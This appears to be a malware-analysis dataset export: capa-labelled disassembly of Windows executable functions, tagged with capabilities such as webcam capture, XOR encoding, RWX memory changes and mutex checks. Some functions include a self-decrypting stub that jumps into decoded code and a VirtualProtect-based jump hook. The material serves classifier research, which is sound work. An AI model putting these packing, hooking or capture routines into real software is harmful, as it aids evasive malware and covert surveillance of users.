joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4413f0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4729c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.0046a8eb
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.00440d90
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.0046a819
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.004670dd
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.004670dd
push 1
push 0
push 0
mov ecx, esi
call fcn.00467085
push 1
push 0
push 1
mov ecx, esi
call fcn.00467085
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0046a95d
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x441570
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4729e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.0046a8eb
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.00440d90
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.0046a819
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x441634
cmp dword [esp + 0x40], 1
jne 0x441632
cmp ecx, eax
jge 0x441634
mov eax, ecx
cmp eax, 0xc8
jge 0x441640
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.004413f0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0046a95d
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x441dc0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x472a53
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.004654fb
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], vtable.CBrush.0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.0046ab93
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.0046c1e9
test eax, eax
je 0x441edc
mov ecx, dword [esp + 0x3c]
call fcn.0046abc0
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x441ea0
push edi
mov ecx, esi
call fcn.00468228
mov ecx, esi
call fcn.00442040
cmp dword [esp + 0x38], 1
jne 0x441ed5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.00468363
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x444900
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x444933
push esi
call fcn.00447a10
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x44492c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x4449b9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x4449a2
mov eax, dword [esi + 8]
test eax, eax
je 0x444957
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x44499e
cmp eax, 2
je 0x4449a2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x44494a
cmp eax, 3
je 0x44497d
cmp eax, 1
jne 0x44494a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x44494a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x44494a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.004449e0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x4449c8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.004449e0
add esp, 4
pop esi
ret

Function at 0x450510
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x4505b3
test eax, eax
jbe 0x4505b3
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x4505b3
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x45055e
xor esi, esi
jmp 0x450564
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x45058f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.00403170
add esi, eax
push esi
mov ebx, esi
call fcn.00403170
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x450570
pop ebp
test edi, edi
pop edi
jne 0x4505b3
test ebx, ebx
je 0x4505b3
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.00454f10
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x4506f5
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x45080d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x45080d
mov eax, dword [esi + 0x3c]
push eax
call fcn.0046594d
mov esi, eax
test esi, esi
je 0x45080d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x45080d
mov ecx, esi
call fcn.00450660
cmp edi, eax
jge 0x45080d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x450793
mov dword [esp + 0x34], 1
jmp 0x4507ee
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x45080d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0044fc40
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x4662f0
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x466328
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004643a7
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0046437f
jmp 0x466334
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4679e5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x467a27
call fcn.0046dba6
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x467a27
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x467a1e
xor eax, eax
jmp 0x467a2f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00467a35
pop edi
pop esi
pop ebx
ret 4
Function at 0x46e0d6
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x46e104
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x46e122
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0046e03c
jmp 0x46e122
mov eax, dword [esi + 0x14]
test eax, eax
je 0x46e122
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0046e03c
test edi, edi
mov eax, edi
jne 0x46e10c
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401f20
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401f3b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401f72
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x401f6e
jmp 0x401f60
cmp esi, eax
jae 0x401f72
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401f60
cmp esi, eax
jb 0x401f79
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x402240
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x42e1f4]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x218], ax
push 0x208
push 0
lea ecx, [ebp - 0x216]
push ecx
call fcn.0040f2f0
add esp, 0xc
push 0x104
lea edx, [ebp - 0x218]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x4022a4
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripToRootW]
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e4ba
mov esp, ebp
pop ebp
ret

Function at 0x4022c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov ecx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
lea edx, [ebp + 0xc]
push edx
push 0x40
xor eax, eax
sub ecx, edi
push 8
mov dword [ebp - 8], eax
sub ecx, 5
mov dword [ebp - 4], eax
push edi
mov byte [ebp - 8], 0xe9
mov dword [ebp - 7], ecx
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x402338
push ebx
lea ebx, [ebp - 8]
push esi
mov esi, edi
sub ebx, edi
mov eax, dword [ebx + esi]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
add esi, 4
lea eax, [edi + 4]
cmp esi, eax
jbe 0x402300
mov edx, dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
push ecx
push edx
push 8
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 8
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4040d0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x42e1f4]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x20a
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.0040f2f0
add esp, 0xc
lea edx, [ebp - 0x210]
push edx
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x4041b7
xor eax, eax
push 0x208
push eax
lea ecx, [ebp - 0x41a]
push ecx
mov word [ebp - 0x41c], ax
call fcn.0040f2f0
add esp, 0xc
lea edx, [ebp - 0x41c]
push edx
push 0x15
push 0x423314
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x4041b7
push esi
push 0
push 0x100
push 2
push 0
push 1
push 0x10000000
lea ecx, [ebp - 0x41c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4041b6
lea edx, [ebp - 0x42c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0
lea eax, [ebp - 0x430]
push eax
push 0x10
lea ecx, [ebp - 0x42c]
push ecx
push esi
mov dword [ebp - 0x430], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.bitmap04
push 0x430710
call fcn.00403a00
push eax
call fcn.00404070
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0xc
mov eax, 0xa
call fcn.0040e4ba
mov esp, ebp
pop ebp
ret 8
Function at 0x4076d0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov esi, dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 0xffffffffffffffff
push 0
push 1
push 0x1f0001
call esi
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push eax
call edi
push 0
push 0
push 0x1f0001
call esi
push 0x64
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
push eax
call edi
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
push 0x63
push eax
push ecx
call fcn.00407070
mov eax, dword [ebp + 8]
add esp, 0xc
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x407980
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
mov eax, dword [0x42e1f4]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x218], ax
push 0x20a
push 0
lea ecx, [ebp - 0x216]
push ecx
call fcn.0040f2f0
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x407a7e
xor eax, eax
mov word [ebp - 0x428], ax
push 0x208
push 0
lea ecx, [ebp - 0x426]
push ecx
call fcn.0040f2f0
add esp, 0xc
lea edx, [ebp - 0x428]
push edx
push 0x2ef
push 0x423314
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x407a7e
push 0
push 0x100
push 2
push 0
push 1
push 0x10000000
lea ecx, [ebp - 0x428]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0xffffffff
je 0x407a7e
lea edx, [ebp - 0x440]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [ebp - 0x430], 0
push 0
lea eax, [ebp - 0x430]
push eax
push 0x10
lea ecx, [ebp - 0x440]
push ecx
mov edx, dword [ebp - 0x42c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x42c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e4ba
mov esp, ebp
pop ebp
ret
Function at 0x407d10
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
mov eax, dword [0x42e1f4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
xor edx, edx
push 0x20a
mov dword [ebp - 0x434], eax
push edx
lea eax, [ebp - 0x20e]
push eax
mov dword [ebp - 0x43c], ecx
mov word [ebp - 0x210], dx
call fcn.0040f2f0
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x407e18
xor edx, edx
push 0x208
push edx
lea eax, [ebp - 0x41a]
push eax
mov word [ebp - 0x41c], dx
call fcn.0040f2f0
add esp, 0xc
lea ecx, [ebp - 0x41c]
push ecx
push 0x15
push 0x423314
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x407e18
push 0
push 0x100
push 2
push 0
push 1
push 0x10000000
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x430], eax
cmp eax, 0xffffffff
je 0x407e18
lea ecx, [ebp - 0x42c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ecx, dword [ebp - 0x430]
push 0
lea edx, [ebp - 0x438]
push edx
push 0x10
lea eax, [ebp - 0x42c]
push eax
push ecx
mov dword [ebp - 0x438], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x430]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x43c]
mov ecx, dword [ebp - 0x434]
push eax
push ecx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 4]
mov dword [esi], eax
xor ecx, ebp
mov eax, esi
pop ebx
call fcn.0040e4ba
mov esp, ebp
pop ebp
ret 8
Function at 0x407f50
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
mov eax, dword [0x42e1f4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
xor edx, edx
push 0x20a
mov dword [ebp - 0x434], eax
push edx
lea eax, [ebp - 0x20e]
push eax
mov dword [ebp - 0x43c], ecx
mov word [ebp - 0x210], dx
call fcn.0040f2f0
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x40805b
xor edx, edx
push 0x208
push edx
lea eax, [ebp - 0x41a]
push eax
mov word [ebp - 0x41c], dx
call fcn.0040f2f0
add esp, 0xc
lea ecx, [ebp - 0x41c]
push ecx
push 0xdf
push 0x423314
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x40805b
push 0
push 0x100
push 2
push 0
push 1
push 0x10000000
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x430], eax
cmp eax, 0xffffffff
je 0x40805b
lea ecx, [ebp - 0x42c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ecx, dword [ebp - 0x430]
push 0
lea edx, [ebp - 0x438]
push edx
push 0x10
lea eax, [ebp - 0x42c]
push eax
push ecx
mov dword [ebp - 0x438], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x430]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x43c]
mov ecx, dword [ebp - 0x434]
push eax
push ecx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 4]
mov dword [esi], eax
xor ecx, ebp
mov eax, esi
pop ebx
call fcn.0040e4ba
mov esp, ebp
pop ebp
ret 8
Function at 0x408a10
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x421e53
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x42e1f4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi], vtable.memory_module_dll.0
mov eax, dword [0x42f424]
mov edx, dword [eax + 0xc]
lea edi, [esi + 4]
mov ecx, 0x42f424
mov dword [ebp - 0x14], edi
call edx
add eax, 0x10
mov dword [edi], eax
mov dword [ebp - 4], 1
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
test eax, eax
jne 0x408a79
xor ecx, ecx
jmp 0x408a8f
mov ecx, eax
lea ebx, [ecx + 2]
mov edi, edi
mov dx, word [ecx]
add ecx, 2
test dx, dx
jne 0x408a80
sub ecx, ebx
sar ecx, 1
push ecx
push eax
mov ecx, edi
call fcn.00403950
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408ac0
Capabilities:
Check mutex on windows
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x421e99
mov eax, dword fs:[0]
push eax
sub esp, 0x43c
mov eax, dword [0x42e1f4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.KERNEL32.dll_OpenMutexW]
push ebx
push ebx
push 1
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
push ebx
call edi
push eax
call esi
push 0x48
call dword [sym.imp.USER32.dll_GetSystemMetrics]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
call edi
neg eax
sbb eax, eax
neg eax
push eax
push 1
call esi
push 6
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push 0x20a
lea ecx, [ebp - 0x21a]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x21c], ax
call fcn.0040f2f0
add esp, 0xc
lea edx, [ebp - 0x21c]
push edx
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x408c0c
push 0x208
lea ecx, [ebp - 0x426]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x428], ax
call fcn.0040f2f0
add esp, 0xc
lea edx, [ebp - 0x428]
push edx
push 0x26d
push 0x423314
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x408c0c
push ebx
push 0x100
push 2
push ebx
push 1
push 0x10000000
lea ecx, [ebp - 0x428]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x408c0c
lea edx, [ebp - 0x438]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push ebx
lea eax, [ebp - 0x43c]
push eax
push 0x10
lea ecx, [ebp - 0x438]
push ecx
push esi
mov dword [ebp - 0x43c], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x30
mov dword [ebp - 0x430], ebx
call fcn.0040e6ab
add esp, 4
cmp eax, ebx
je 0x408c62
mov dword [ebp - 0x434], eax
mov dword [eax], eax
mov eax, dword [ebp - 0x434]
mov dword [eax + 4], eax
mov eax, dword [ebp - 0x434]
mov dword [eax + 8], eax
mov edx, dword [ebp - 0x434]
mov byte [edx + 0x28], 1
mov eax, dword [ebp - 0x434]
mov byte [eax + 0x29], 1
mov byte [ebp - 4], bl
push 0x42a46c
lea ecx, [ebp - 0x438]
push ecx
call fcn.0040e65f
lea edx, [ebp - 0x43c]
push edx
lea ecx, [ebp - 0x448]
mov dword [ebp - 0x43c], ebx
call fcn.0040ee8e
mov byte [ebp - 4], 1
mov dword [ebp - method.std::bad_alloc.virtual_0], vtable.std::bad_alloc.0
mov byte [ebp - 4], bl
push 0x429ab4
lea eax, [ebp - 0x448]
push eax
call fcn.0040e65f
int3